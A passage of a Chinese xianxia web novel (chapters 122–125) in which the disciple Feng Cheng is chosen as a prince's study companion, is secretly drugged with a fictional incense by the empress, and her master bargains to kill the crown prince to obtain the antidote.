姜徵微微颔首:“一家族之中,必须有舍有得。” 一旁的陈还懒洋洋地伸了个懒腰:“哎,怎么说起这些来了?总归入宫之事轮不到咱们姜少主,咱们只管在外享受大好年华就是了——夜间风冷,不若进屋抵足夜聊吧?” 封澄站了起来,随手拿了浴巾披上,赤着脚走向了屋子中。 “记得把头发弄干,”她懒洋洋道,“要是谁的头发湿了我的枕头,我是要吃人的。” 第122章 第122章清晰无比的杀意 次日清晨,封澄在弟子苑中困倦未醒,便有一人来报;“封师姐,外面有人找。” 封澄打了个呵欠,一旁的陈还不耐烦道:“谁啊,大清早的不叫人睡觉。” 一阵轻微的步音走来,随即带过来了清晨独有的晨露气息,姜徵一边更换练功服,一边淡淡道:“大清早?武场上的人已经收剑去用饭了。” 两人一来一回地嘀咕起来,封澄也睡不着了,索性爬起来,用一根簪子把头发束好,草草洗了个脸便出门道:“来了!” 一推开门,封澄却对这张脸有些意外了:“是你?” 有些局促地站在门口的少年除去了面馆伙计的打扮,穿着红色滚边的天机院校服,不知从何起了一阵风,吹起他束在脑后的白色发带,搭在他微微发红的清秀俊脸上。 何守悟有些局促道:“那个,昨天我听旁人说,封师姐也是天机院的学生……” 天气很热,他舌头好似打了结,支支吾吾地甩了甩头,抬手把手里 的东西递过来——那是一只素白干净的包裹,上头还微微发着热气。 “你昨天要的面,”他嗫嚅着,“没拿走,我重新另做了一份。” 牛肉面热气腾腾,闻起来味道非常不错,封澄正好有些饿了,于是便接过来,笑道:“多谢你,闻起来比昨天更香一些。” 何守悟挠头笑了笑,露出了一副羞赧的神色:“我……我叫何守悟,是外院符修弟子,久闻师姐大名,今日终得一见。” 少年的脸上藏不住半分情思,陈还从屋中披衣走来,见状,把胳膊肘向封澄肩膀上一抬,抬眼似笑非笑道:“这可就奇了怪了,你入学不过短短几月,外院弟子都未必认得全,怎么就久闻了阿澄的大名?” 何守悟看向陈还的表情有几分微不可察的阴鸷,旋即这抹暗色被他一垂眼皮吞了进去,又换成了恰到好处的羞怯。 “我……我……” 支吾难言,结结巴巴。 眼瞧着人被为难得不行了,封澄善解人意地回头道:“你今日没有晨课么?” 说到晨课,陈还猛地瞪圆了眼睛,她大叫一声不好,随即便冲回了弟子苑,随即拎着一袋子叮当作响的阵盘符纸,风也似地往杏堂去了。 封澄看着陈还的背影笑了笑,随即对何守悟一颔首,转身便向弟子苑去。 “师姐,”身后的声音忽然叫住她,“你给的银子太多,一碗面花不掉,我能日后来给你送饭补上么?” 一枚碎银子,赵负雪把赵家玉牌给了她,封澄出行支用用的都是赵家的银子,于是她随意挥挥手:“不用了,天机院有食堂,你若是要还,还我师尊就行。” 何守悟骤然攥紧了衣角。 他微微垂下了眼睛——若他早能攀上赵家的门槛,何苦要和封澄这个八竿子打不着的徒弟打交道? 母亲辛苦将他从长煌那种地方送到天机院里来,丢进了脸面,花尽了银子,不是为了他能够在天机院站住脚、与世家大族扯上联系么? 封澄有什么了不起的,何守悟暗暗咬牙——她也是长煌大原的野丫头,若非是走了狗屎运碰到了赵负雪,现如今指不定在哪里吃西北风呢,连去面馆端盘子的资格也没有。 而封澄早就转过头去了,她托了托手上的面走进了弟子苑中,姜徵已经沐浴过了,端然坐着,梳理着湿漉漉的长发,一抬眼瞥见封澄,淡淡道:“拿出去,闻着就难吃。” 封澄笑眯眯地从柜子中找出碗筷,道:“偶尔也换换口味,你没吃早饭吧?” 姜徵不置可否地做到了桃木桌的对面,眼前被推过半碗热气腾腾的牛肉面。 她挑起来,尝了尝,皱眉道;“这是哪里的口味,一股奇怪的香料味。” 封澄倒是觉得这味道熟悉得要命,她尝了尝,恍然大悟道:“啊,这是,长煌一带处理牛肉的香料,叫离草。” “没听说过那家面馆是长煌的口味,”姜徵低头吃面,飞快地吃完,得体地擦了嘴,“吃完后进宫,今日午时选伴读,你也是伴读的人选。” 一听这个,封澄当即顾不得吃面了:“我?我伴读?饶了我,我五行经的字都认不全,叫我去伴读不是误人子弟么。” 倒不至于认不全字,只是封澄所习课业皆为赵负雪亲授,于常人所用之书到底是不同的,去伴读,大抵也等同于读新书了。 话音未落,封澄便住了嘴。 姜徵在静静地看着她。 “要的就是武将,”她的眼睛平静无比,“朝中修士独大,皇权却在一条凡人血脉之中,你若是老皇帝,不觉得睡不着么?” “他不放心姨母,更怕姨母动手杀了他的太子,”姜徵淡淡道,“所以,你这样能打,又是凡人出身的修士,是不二之选。” 张了张嘴,封澄把话吞了下去。 “你姨母顺手解决了我,倒也不费什么事。” 姜徵起了身,怜悯地瞥了她一眼,“姨母可以对任何一个修士出手,却独独不会冒着触怒赵先生的风险对你出手,这次选人八成就是为你而准备的,若是想不好推拒的托词,你便等着进去吧。” 听了姜徵的话,封澄魂不守舍地飘进了鸣霄室,一进门,赵负雪微微抬起了头。 他像是方才晨起的模样,墨发未梳,柔软如瀑般披在身后,雪白的脸上还有几分晨起的困倦,令他看起来分外茫然。 “师尊。”封澄有气无力地打了招呼,随即便风也似的进了内室,不过片刻,便穿了一身少见的繁复青色裙装出来,赵负雪静静地看着——这衣服自从给她做了,便没见她穿过一次。 还不错。 不料封澄转眼唤出长剑,随即风也似地原地御剑而起,紧接着便头也不回地跑了:“师尊,今晚不用等我吃饭了!”。 赵负雪看着封澄远去的背影,略微有些愕然,旋即,起身缓缓地拢上了半敞不穿的衣襟。 素白衣襟下,是如同白玉一般的皮肉。 “走这么着急,”赵负雪若有所思,“出什么事情了?” 还未等他想个明白,门口便传来轻轻几声叩响,赵负雪微微挑了挑眉——这天机院之中谁人不知鸣霄室是禁闯之地?若无拜帖,怎么会有人上来敲门拜访? 兴许是来寻封澄的孩子。 赵负雪这般想着,便信手一挥,两只莹白小鸟去开了门。不料一开门,映入眼帘的便是一副拘谨而陌生的脸。 何守悟试探道:“请问,这里是封师姐的住处么?” 赵负雪微微眯了眯眼睛。 他对封澄身边的一切人等皆怀有微妙的审视感。 见了赵负雪,何守悟脸上露出恰到好处的惶恐与惊讶,随即恭恭敬敬道:“赵先生!学生不知道您在这里!” 赵负雪这些年妖魔鬼怪见得多了,还是头一次见上赶着舞到他面前来的,他的目光停在何守悟身上,好整以暇地等着一场好戏。 “……我是来给封师姐送面的,”他嗫嚅着道,“方才送的牛肉面,她只吃了几口,是不是我做得不好吃,不合她的口味?” “你给她送饭?”赵负雪突然转身道。 何守悟恰到好处地惶恐:“啊……是,封师姐应允的。” 赵负雪的脸上霎时多了几分阴鸷,他垂下眼睛,轻声道;“她允的?” 何守悟点点头,他故意讲得暧昧不明,眼见着赵负雪已经开始留神审视他了,他才从容地将面交给了门口的晶亮小鸟。 “是,我还要多谢师姐前几日出手相救。” “她救了你?” 赵负雪的目光已经不再是初初的审视了,渐渐地便淬上了不见锋芒的冷意,何守悟敏锐地觉察到,终于收敛了,只怀着得体的笑,恭恭敬敬地告了辞。 踏出鸣霄室许久,他才敢抬手擦了擦额上的冷汗。 “作为长辈来说……”他莫名地想,“赵先生是不是敌意过重了。” 许是错觉,哪有师尊管天管地,还管到徒弟的朋友身上的。何守悟哂笑一声,只当自己吓自己,转头走向了面馆。 见何守悟离开后,赵负雪垂眸片刻,进了屋中,片刻,便有几位身着赵氏服饰的修士鬼魅似的进入了鸣霄室。 “把他的一言一行,一举一动,查清楚。” 宫门是个进了第一次便 不想进第二次的地方,若非有姜徵作陪,封澄大概会窒息得更为厉害,随着一行年轻鲜妍的男男女女,封澄走进了东宫之中。 一抬头,她便见到了上首之位坐着的一男一女。 女的她见过,宝光璀璨,不可直视之贵气,自是大夏皇后姜允,封澄留心观察,姜允似乎苍老了些,形貌的苍老尚可理解,可她眉宇间染上那几分从前不见的阴冷煞意,却是令她有些意外。 一旁的则是老态龙钟的皇帝,说来封澄还是头一次见着这人。 众人鱼贯行了礼,老皇帝似乎昏昏欲睡,一点一点地垂着头,在封澄走上前的刹那,他眸中却迸出难以言喻的光彩。 封澄看着老皇帝站了起来,踉跄着走到了她的跟前,随即目光中怀着期许,开口问道:“你便是赵氏门下亲徒,剑修封澄?” 封澄抬起眼来,微微歪了歪头:“是我,见过陛下。” 皇权式微,故而连跪拜之礼都不必,老皇帝看着封澄,绕了几个圈,喜悦之色几乎溢于言表,他微笑着开口道:“我瞧着你实在是合心意,今年多大,可曾许了人家?” 刹那间,座下姜徵的脸色陡地一变,几乎站起身来;“陛下不可!” 封澄瞧着老皇帝,嘴角虽是笑,眼中却缓缓漫上深不见底的杀意。 许是触摸到这丝杀意,老皇帝猝然一抖,他察觉到话中的歧义,清了清嗓子,才沉稳道:“我儿今年十四,尚未婚配。” 这次变了脸色的,是凤座上的姜允。 封澄抬起头,在她似有似无的视线中,觉察到了清晰无比的狠绝。 第123章 第123章两行鲜血 姜允盯着封澄的脸,突然地便笑出了声。 老皇帝眼皮耷拉下来,回过身道:“皇后是心中不愿么?” 姜允慢慢道:“皇帝只顾着给孩子结亲,却独独忘了问,赵家肯不肯收您的聘礼。” 刹那间,老皇帝的眼微微一凛。 是,封澄在洛京无亲眷,一应俗事应由赵氏师门处理,而赵家如今的家主赵负雪,则是个天底下头一号不爱搭理皇家的人。 想想也是,连护着这条血脉的镇国神兽都跑去赵家给他做保镖了,他那么倨傲一个人,又如何会瞧的上荒诞可笑的皇室。 思及此处,老皇帝看向封澄,话中多了几分循循善诱。 “即便是做人师尊的,”他道,“也没有替徒儿推了姻缘的道理。世上婚配,从来是父母之命、媒妁之言,师尊,终究也不是人父母。” 于是他重又转身看向封澄,和蔼道:“只要你一点头,赵尊者那边自有朕去说,你直说,你愿不愿意做朕家里的人?” 老皇帝在方才一直以“我”自称,一再和善,此时称“朕”,便是加了几分强调的意味。封澄看着他苍老的眼,似笑非笑道:“连人也未叫我见一面,便急吼吼地要议亲,这么着急,可见陛下不诚心啊。” 话音一落,四座死寂。 众人大气不敢喘一口,齐刷刷跪在地上,两眼死死盯着金碧辉煌的地板,生怕多看一眼便会被当场斩杀在这里一样。 皇室虽是式微,但终究还是皇室,众修士虽暗地里并不怎么把这皇室当回事,但至少明面上还是要给几分脸面的。 封澄给人的错觉太重,旁人只觉她年轻面嫩,又带几分笑,只当她是再好说话不过的乖顺孩子。谁料这乖顺孩子一出口,就直接将皇帝噎了个跟头! 谁敢说皇帝议亲不诚心的! 老皇帝的脸也是一阴,他看着封澄,声音中便多了几分威压:“你知道自己在说什么吗。” 封澄才不怕这皇帝,她心中只想——这老皇帝离她不过几尺,身无寸铁,手无缚鸡之力,加之心宽体胖,逃也逃不掉,见着手握凶器的她,怎么还敢说话这么嚣张? 封澄抬眼道:“既然不叫我见面,那自然两情相悦不得,强扭的瓜不甜,恕难从命了。” 顿了顿,她又补充道:“请陛下恕罪。” 一片寂静,连呼吸声都几乎听不到了。 皇帝已经苍老,眼中虽有当年雄姿英发之态,却已然是苍老的浑浊,他定定地看着她,半晌,陡然爆发出一阵哈哈的大笑声! 这一笑,笑得众人更加不敢动弹了。 “好,好!”他拍着封澄的肩膀,颇有几分力气,却未曾另封澄摇动分毫,“临帝王之威而毫无惧色,好胆气,好魄力,大夏竟有这样好的孩子!” 说着,他自觉很有帝王魄力地一挥手,转身上了御座,拍板道:“既然如此,朕便折个中,给润儿定下这个伴读,皇后当没有异议了罢?” 话至如此,姜允自然也明白了老皇帝的意思,她意味深长地看着封澄,缓声道:“好,当然好,臣自是不会有异议。” 选伴读之事有惊无险地过了去,临着出宫之前,姜允宣封澄进殿说了几句闲话,将她留了片刻,才将封澄送出宫去。 眼见天色已晚,封澄走到鸣霄室前,也不敲门劳烦赵负雪了,而是双手扒墙,抬脚一翻,随即从墙上翻了进去,今夜月色尚好,封澄瞧着院中花树下的棋案,已经被妥帖地收好——大概是赵负雪已经就寝了。 “今日睡得这么早啊。”封澄暗自腹诽,“还不到一更天呢。” 这么想着,她去屋中收拾了寝衣,端着浴桶和香片便走向了屋后的温泉。 姜允宫中的香料味道十分奇怪,闷着门窗,闻着令人头重如铁,又心中烧火,封澄被留在里头片刻,险些闷死在里面,此时抬起手臂嗅了嗅衣物,皱了皱眉——腌入味了。 “刚做的衣裳,只穿了一次,着实可惜。”封澄把外裳草草扒下,丢进了洗衣盆中,紧接着赤着脚,踢踢踏踏地推开了后山浴池的大门。 这地方堪称是整个鸣霄室中唯一一个堪称为穷奢极欲得地方,琉璃剔透,盈盈水光映着人影,反射在不知材质的晶莹柱石上,封澄踩着台阶,正往下脱寝衣,忽然听到了殿中的另一道突兀的呼吸声。 封澄:“?!” 殿中有人。 鸣霄室位于天机内院,本就是人迹罕至的地方,更别说这是鸣霄室的浴池了——怎么会有旁人闯入? 怀着一份隐晦地期待,以及七分警惕,封澄从层层叠叠的衣物下摸出了长生,紧接着,悄悄地走入了水中。 哗——哗—— 温泉的水最浅处仅仅及腰,最深处却足以没顶,雾气将人影蒸得模糊,水声却扰得人听觉纷乱,她走向那道平稳呼吸的来处,越走越近,越走越近。 五尺之远时,封澄猝然停住了。 “嘶——”她不由得吞了吞口水。 正对着她的人不是旁人,他身上衣物极为单薄,浸在温泉水之中,几乎紧紧地贴在了皮肉之上,于是正正地映入封澄眼中的,便是赵负雪合上的双目,与几乎啥都遮不住的衣襟。 胸膛上有水珠缓缓滑下,隐入到线条分明的腹部,再悄然遁入水中。 要命,要命,罪过,罪过。 她下意识地吞了吞口水,紧接着错开了眼,转身便想跑。 如若是旁人也就罢了,如此秀色当前,她即便是做个流氓也值得一饱眼福,可不偏不倚,眼前这位不是旁人,乃是她如假包换的师尊,几乎在眼神扎到赵负雪身上的刹那,封澄心底便油然生出一股钻心的罪过来。 好似这么看过去,便是亵渎了他似的,封澄想。 谁料流年不利,出门见衰,封澄从来矫健,偏生情急之下,在这要命关头不知踩到了什么,猛地脚下一滑—— “噗通!!!” 人狠狠砸下去,惊起的水花仿佛是佛院的钟声一般炸响,动静之大,几乎连死人也能吓活,更何况是耳聪目明的仙人。 于是等封澄挣扎着,落汤鸡一般从水中站起时,不可避免地对上了赵负雪平静的双眼。 他的墨发湿漉漉地披在身上,腰腹的线条优美而流畅,简直是令人无法移开视线的存在感,而此时苦了的便是封澄,她叫苦连天,眼睛一不敢对上赵负雪的双眼,二不敢对上赵负雪的身体,仿佛看在哪里都会被烫着似的,于是封澄尴尬地看天看地,左看右看,就是不看他。 欲盖弥彰。 赵负雪平静道:“你……” 封澄连忙伸手打断,脱口大叫:“我我我我真不是来偷看师尊洗澡的!!” 话一出口,浴池内登时一片沉默,水声哗哗。 只有回声在琉璃剔透的浴池中经久不息地回荡。 “不是来偷看师尊洗澡——” “是来偷看师尊洗澡——” “来偷看师尊洗澡——” “……” 赵负雪:“……” 即便平静如他,额上还是不轻不重地爆了两根青筋。 封澄恨不得一头扎进水里淹死算了。 赵负雪道:“我……” 封澄慌忙又打断:“我什么都没看到!!” 眼见着回声又开始经久不息,赵负雪终于忍无可忍地扳过了封澄的脸,他居高临下地看着她,捏着封澄的褪去柔软的双颊,沉静道:“你是要让所有人都知道么?” 男子身上的冷香气猝然包裹住了她,封澄愣愣地抬起眼睛,赵负雪地眼睛微微垂着,湿漉漉地水珠顺着他雪峰似的鼻往下滚落,连长睫看起来都湿漉漉的,硬是多了几分平日里难得一见的、令封澄心乱如麻的瑰色。 她本身就心中有鬼,此时双手已经下意识地撑在了赵负雪的腹上,冰冷却柔软的触感令她几乎之间慌了 神,她张了张嘴,试图说些什么,却什么都说不出。 天地良心,封澄目不转睛地看着赵负雪的眼睛,心头杂念滚烫,可她竟在看向他双眼时猝然地放空了。 “……” 这是一双极为美丽的眼睛,线条优美,颜色剔透,尽管几乎没有人敢于这双眼睛的主人对视许久,可它的美丽却是不容否认的。 不知为何,封澄仿佛着了魔一般,明明口中有千言万语可辩驳,话至喉头,却一句都说不出来了。 赵负雪平静地看着她:“出去再说。” 说着,他松开了手,径自向岸上走去,仿佛方才发生的一切,在他面前都是全然可以忽略的琐事一般,封澄怔怔地看着他在水中的背影,忽然便心中生了一股不管不顾的邪劲。 “告诉他,”她的心头不知从何生了一股熊熊燃烧的邪火,“告诉他所有的心意,叫他明白亲手教养的徒弟其实是个觊觎师尊的畜生,叫他无论如何不能这么心安理得地从这里离开,他也得尝尝我的煎熬。” 大概是平生仅有一次的冲动与勇气了,哗啦一声,封澄猝然地拉住了赵负雪左手的衣袖。 衣袖很轻,捏在手中时,却好像沾了她心头不可洗去的粘腻。 “师尊,”她涩然道,“我有话对你说。” 赵负雪顿了顿,随即顺着她牵着的衣袖,慢慢地转过了身。 她鼓起勇气看着赵负雪的双眼,张了张嘴,刚要说些什么,鼻腔却猝然一温。 封澄:“!!!!???” 尚且一言未发,两行鲜血便已经缓缓流下。 第124章 第124章那从不是赵负雪所考虑…… 丢人丢大了,封澄猛地扭过头去捏鼻子,脑中只有这五个字。 打死封澄也不会想到人生中还会有这么尴尬的一天,她慌忙抬手去擦,那点儿中了邪才挤出来的邪魅狂狷也随着这突如其来的鼻血不知冲去了哪里,正慌里慌张间,额上却被轻轻地压了压。 师尊冰冷的手指贴在她有些滚热的鼻尖上。 他走了回来,冷香气轻轻地绕了回来,封澄后背察觉到他的胸膛微微颤动,后知后觉地,她抬起了头。 师尊在笑。 封澄微微张大了嘴,有些傻了。 他平素虽说不上是冷若冰霜的人,但绝对是能称得上一句不苟言笑了,于是封澄也几乎未见到过赵负雪这般忍不住似的笑意,仿佛冰雪初融似的,几乎闪瞎了封澄的脸。 “师尊,你……”她结结巴巴道,“你笑什么?” 话一出口,鼻血又涌出一股,她连忙再把头扭过去,高高抬着下巴,封澄能感觉到身后赵负雪的胸膛还是在微微地颤抖,她简直不知道赵负雪在高兴个什么,终于被这无声的笑给逗得恼了,抬眼起来狠狠瞪他。 赵负雪点了点头,随即止住笑意,上岸去,片刻,取了条干净锦帕来,把人拉来,细细地为封澄处理血迹,样子看起来很是正经:“上火了。” 声音很是愉悦。 上火个屁,不知道徒弟对着他胸肌流鼻血有什么好高兴的,封澄面如死灰地想着。 看着师尊出浴,还喷了鼻血这件事是抵赖不得了,封澄也就破罐子破摔了,她眯着眼睛仰着头:“师尊,你寝室后便有热泉,怎么今天跑到后院来沐浴了。” 帕子轻柔地扫过她的鼻尖,赵负雪身上的冷香气似乎有定神的作用,封澄感觉自己那股不管不顾的冲动火气似乎随着鼻血的涌出而烟消云散了。此时她只觉得庆幸——还好没一时冲动说出了口,还能赖在他身边名正言顺地做徒儿。 赵负雪边处理血迹,边道:“泉中灵石陈旧,需要更换,我尚未来得及吩咐人。” 隔着水色,男子的声音有些如在云端的朦胧。 原来如此,封澄晕乎乎地点点头,有些讪讪:“后院的温泉也该修缮了,我刚才还踩着青苔什么的,不然也不会惊醒师尊了。” 赵负雪睨了她一眼,不做评价。 鸣霄室中只有他与封澄二人,说是误闯,实则更是故作糊涂的有心。到底还是心眼没长全的半大丫头,怀的什么鬼胎就和写在脸上一样。 看着封澄隐隐通红的耳尖,赵负雪心情很好地勾了嘴角。 不过这也不必同她说了。 这美人儿衣服半穿不穿地在眼珠子前面晃,封澄也是傻了,竟由着他擦了一阵儿,才后知后觉地反应过来,登时脸色有些发红,感觉鼻血又有喷涌而下的趋势了,于是连忙推开赵负雪:“好了师尊,我自己来。” 赵负雪点了点头,将锦帕交给她。封澄像条没精打采的小尾巴一样跟着赵负雪上了岸,衣服是湿漉漉的不消说了,连头发也粘嗒嗒地垂在额前,她擦干净鼻血,正要推开浴池的门,肩上却被轻轻地拍了拍。 “先去沐浴,”赵负雪道,“我在书房等你,不必急。” 封澄这才反应过来——她方才光顾着垂涎赵负雪美色了,连正事都忘了。 “师尊,”封澄突然叫住他,挠了挠头,才讷讷道,“你,你不介意我看见,嗯……这个?” 赵负雪微微睁大了眼睛,半晌,才笑了起来。 “不妨事。” 不妨事三个字一处,封澄登时就有些沮丧了。 世间寻常男女,若是撞上这档子事,不说是以身相许吧,也是要纠结些日子的,可放在师尊与她面前,只是师尊一句轻飘飘的“不妨事”。 说他是道心牢固无坚不摧呢,还是说她在赵负雪面前根本就不足以混上“男女大防”四个字? 总之这两种发展方向,皆令封澄两眼一黑再一黑。 沐浴之后,封澄走向了赵负雪书房,将今天的事情与赵负雪一一说了,赵负雪半倚坐着,闻言,只点了点头。 “你若不愿,我替你去回绝。” 封澄叹了口气道:“这都是什么事嘛,姜皇后还把我叫去训话,只训话也好,偏偏她屋子的味道极为奇怪。” 说及此处,赵负雪眉心轻微动了动。 “味道奇怪?” 封澄点了点头,忽然间,她便被一把拉去,紧接着赵负雪不由分说地以指抵上了她的脉门,半晌,抬起了眼睛。 他的眼底仿佛燃着怒火。 封澄从来没见过赵负雪这副表情,当即被吓了一跳,他沉声道:“她唤你去过几次?” “几次?”封澄有些疑惑,半晌, 终于反应过来:“这是第二次,怎么了,有什么不对么?” 不对,岂止是不对,赵负雪胸口怒火几乎要将他整个焚烧进去。 封澄的脉搏极为狂躁,上下不稳,分明是多次用过长醉的迹象! 只去了两次,为何封澄身上会有积年使用长醉的修士才有的脉搏? 强压着怒火,赵负雪坐起了身,他紧紧地盯着封澄,一字一顿道:“自今日起,就在书房,哪里也不许去。” 说罢,他挥袖而起,不顾身后封澄又茫然又无措的声音,御剑向宫中而去。 轰地一声,书房大门紧闭,封澄扑上去砸门,外面的符咒却岿然不动,她站在原地愣了许久,崩溃大叫道:“这算个什么事情!!” 明明已是深夜,姜允的宫室中却灯火通明。 香气从香炉之中袅袅升起,在紧闭的宫室中翻腾,偌大的宫室空无一人,只有半躺在正首上的华服女子,与一旁从容站着的医修。 温不戒微笑道;“娘娘,该熄了吧?” 姜允闭着眼睛,沉在长醉的香气中,闻言,只是不耐烦地挥了挥手:“尚未燃尽,你急什么?” “太久了,明日该起不来了。”温不戒温和笑着,人却上前一步,毫不犹豫地熄灭了香炉,姜允猛地坐起,声音尚未出口,温不戒便转过身来,比了个“噤声”的手势。 “安静,安静,皇后娘娘,”他微笑道,“有人要来了,你知道什么该说,什么不该说的,对不对?” 话音一落,他便鬼魅似的从殿中凭空消失,姜允坐在凤座之上,有些愣怔,忽然间,殿门口便陡然刮进一阵新鲜的寒风,冲散了殿中的沉沉香气。 姜允愕然地抬起了头,不知何时蹭歪的珠钗啪地打在了脸上。 层层宫禁之中,能来去自如的人屈指可数。 站在面前的仙人身着不染纤尘的白衣,腰间长剑宝光摧残,噼啪爆响,他沉声道:“解药拿来。” 被熏昏了五感,姜允在听到赵负雪声音时,有一瞬的愣怔。 赵负雪重复道:“姜允,长醉的解药。” 迟缓运作的脑筋终于反应了过来,姜允哈哈地笑了出来:“这数年间,你来宫中寥寥几次,从来都只为了你那徒弟。” 赵负雪沉声道:“她来你宫中不过两次,身上却已有了积年之兆,你宫中所燃,究竟是什么东西。” 姜允微微笑了:“从前我母亲说,你不适合做家主,当真不错。” 赵负雪静静地看着她。 姜允自嘲道;“肮脏手段,没见过?” “长醉,却并非是市面上所流通的那些,”她慢吞吞地走到了赵负雪面前,灿金色的凤袍后摆在乌黑的地砖上拉出一道逶迤的影子,姜允饶有兴致地抬头看着赵负雪:“我这批长醉,劲儿够大,味道够足,你猜它是用什么做的?” 她凑近了,轻声道:“是用持劫身上的部件做的。” 刹那间,赵负雪的手放在了见素上,他声音森然:“你和持劫有联系。” 姜允哈哈一笑:“有个朋友,能拿到持劫的好东西,总共就那么点儿呢,本来没打算都给那小孩用的。” 寻常人形天魔所制的长醉就已经足够棘手,更何况是持劫,赵负雪心知肚明:“条件。” 姜允抬起头来,目光中是堪称凛冽的妩媚。 “那可得慢慢掰扯了,毕竟我可没想到尊者找来得这么快,不若这样——” 她的手指轻轻触向了赵负雪的胸膛,却在半空中被赵负雪死死擒住。 “姜允。”赵负雪寒声道,“我没有耐心。” 闻言,姜允脸色也是一沉,她甩开了赵负雪的手,冷笑道:“皇帝死前,我要你动手杀了那刘润。” 赵负雪沉静的眼睛看着她。 姜允道:“我知晓赵家向来不插手此等政事,可今时不同往日了,八方护着皇室血脉,能动手的只有你一个。” 赵负雪看着她,冷冷道:“费劲筹谋,不惜与持劫勾结,只为了送姜徵一条坦途?” 姜允冷笑一声:“我不傻,这十几岁的宗室子,脑子里不知装了什么东西,阿徵心性纯良,无论如何动不了手,那我便替她选个容易钳制的……背负着姜氏一切荣耀的阿徵,会替我,替整个姜家,沾在大夏权位的顶峰。” “杀了刘润,我便替封澄解去长醉。”姜允道。 她的眼神仿佛一只极为凶狠的狐狸或狼,原本极艳的颜色被这狠意逼出了说不出的阴鸷,赵负雪定定地看着她,忽然,嘴角动了动。 “立誓。” 姜允抬起头,眼中狂喜,她举起手,郑重立誓。 修道之人重因果,立誓而有违者,受天道所罚。 赵负雪头也不回地转身离去。 于他而言,救人是从前顺手,而杀人,自然也是顺手。 旁人性命比起封澄而言,微不足道。 至于杀了太子,江山如何不稳,世道如何生乱? 那从不是赵负雪所考虑的问题。 第125章 第125章一刻也等不了 封澄在屋中叫天天不应,叫地地不灵地干嚎了半夜,久久未等到赵负雪回书房,她嚎得累了,就地坐下,倚在书房门前百思不得其解。 怎么回事呢? “把出喜脉来都不至于把我关里面吧?”封澄越想越气,一蹦而起,邦邦砸门道:“有没有人啊!放我出去!” 不知砸了多久,终于在封澄快要累死在书房门口上时,门外传来了一声呼唤。 “封师姐?你在么?” 这声音有些耳熟,封澄却想不起来耳熟在哪了,眼下关头也顾不得这些,她扬声道:“我在!我在书房!” 一声吱呀,鸣霄室的大门被从门外推开,紧接着那人便循着声音而来,片刻,脚步声停在了贴满符咒的门前,他有些犹疑:“封师姐,你在里面么?” 顾不得看是谁了,所幸赵负雪走得匆忙,也并没有想到有人敢揭开他设下的符咒,于是何守悟一介凡人,就这么轻飘飘地把赵负雪留下的符咒全部揭了下来,门打开的刹那,他还没来得及说话,屋中便有一团白色的身影风也似的蹿了出去,其身手之迅捷,竟让何守悟仅仅看清了她边走边拔的长剑。 “多谢了!回头请你吃饭!” 手举在半空,背着食盒的何守悟缓缓地垂下了手。 “怎么会被关在这里?”他这样想着,目光却不由自主地移向了门户大开的书房。 赵负雪的书房,当世第一剑修的书房。 何守悟怔怔看着,半晌,吞了吞口水,鬼迷心窍般向屋中迈出了脚。 “只,只看一点点,”他想,“应该什么也不会被发现吧?” *** 越跑,封澄的心跳就越快,她心中隐隐有一个点莫名的猜测,仿佛再晚一些,便会发生什么不可挽回的事情一样。 走到天机院街头了,封澄四处环顾,却心中茫然——她似乎不知道赵负雪不在天机院的时候会去哪里。 赵府?皇宫?常去的茶楼酒肆? 她一概都不知。 不知是不是她站在天机院门口的模样过于茫然了,今日又出门给老头找药材的陈还与姜徵有些讶异,陈还上去拍了拍她:“这个时间,你不在内院修习,也没接任务,在门口做什么呢?” 谁料封澄一转头,却仿佛见了救星一般紧紧地抓住了陈还的手:“你知不知道我师尊平时会在哪里?” 陈还一怔,与姜徵交换了一个视线,姜徵微微蹙眉,上前道;“从前赵先生去哪里,我是一概不知的,只是今日我却知道。” 封澄与陈还同时看向她,姜徵指了指西面:“你没注意么?刚才路过戏楼,他在西街戏楼上,看戏。” 于是封澄呼哧大喘气地奔到西街最大的戏楼上时,便见赵负雪平静地坐在二楼看台上,目光专注地看着台下咿咿呀呀的台子,看台旁瑟缩着几个不知所措的女子,瞧着打扮,应当是来作陪的姑娘。 封澄悬在喉咙口的心铛地一声放了下来,心很累地挥挥手,几人如蒙大赦,带着一阵香风跑下了楼。 赵负雪头也不回道:“来了?坐。” 她却站在原地不动了。 不知为何,她觉得赵负雪就是在这里等她的。 “怎么出来的,”赵负雪自顾自地道:“我记得用了符咒。” 封澄叹了口气,坐在了赵负雪的对面,托起了腮。 “你为什么要把我关在里面,”她道,“是我的身体出了什么问题么?” 赵负雪看了看她,没有回答。 “你不说我也能猜得出来,”封澄道,“出问题了。” 她自顾自地端起了赵负雪桌上的茶壶,给自己倒了一碗茶,一气儿灌下去,才砸了咂嘴。 “这些日子我总觉得少眠,”封澄淡淡道,“还有灵力偶尔会暴走,控制不住的时候,要用符咒把自己贴在床上 才行,昨日从皇后宫中回来后,竟然一夜都没有丝毫困意,昨晚在浴池……也冲动得不太对劲,我感觉我的灵力已经开始不受控了。” 说着,封澄抬起手来,台下的戏曲咿咿呀呀地唱着,而赵负雪目光看似专注,实则已轻轻地垂了下去。 “我的确有问题吧?”封澄掷地有声道,“问题还不小。” “一年后结业,不要去长煌参军了。”赵负雪不答,却平静道,“回到我身边,再也别走了。” 封澄的目光落在赵负雪身上,忽然,轻轻地笑了笑。 “不。” 她认真地说:“如果师尊因为我而做出什么不可挽回的举动,我不会原谅师尊的。” 赵负雪的目光终于波动了,他转过身来,平静地与封澄对视。 “再说一遍。” 封澄不答反问:“你昨晚去哪里了,师尊。” 赵负雪也不答,他站起了身,转身向戏楼下走去了。 封澄看着他的背影,希冀着他是否肯回头看一眼。 他没有回头。 直至黑夜,赵负雪都没有回鸣霄室。 封澄托着腮,坐在门口,呆呆的等了一夜。 黎明时分,未曾等到赵负雪的音讯,却等到了从远处飘来的,肃穆而森严的丧钟。 “是国丧?!” “帝后钟声同时响了,皇上与皇后都……一夜之间?” 听到门口匆匆几句话,封澄猛地坐起了身,刹那间,连心跳都已经停止,她不知道自己是如何连滚带爬地推开门的,又不知是如何抓住天机院早练的学生的,终于,有一人紧紧地抓住了她的衣领。 “师妹,”寸金沉声道,“去年院长那里,不要出去。” 封澄嘶声道:“你放开我!!我师尊,我师尊怎么还没回来!” 他一个行动不便的半残,常年连院门也不出一次,她跟着赵负雪生活了这么久,从不见他宿在外面。 他要做什么?或者说,他做了什么? 心头的空洞与漫然而上的恐慌如同一只巨爪一样,死死地扣死在了她的喉咙上,寸金看着手上渐渐漫上来的灵力,疼得嘶了一声,回头道:“年院长,我制不住她了!” 脖子后传来一道重击,紧接着眉心上便被贴上来一道冰凉的符,封澄的眼前一片空白,紧接着腿一松,向后仰去。 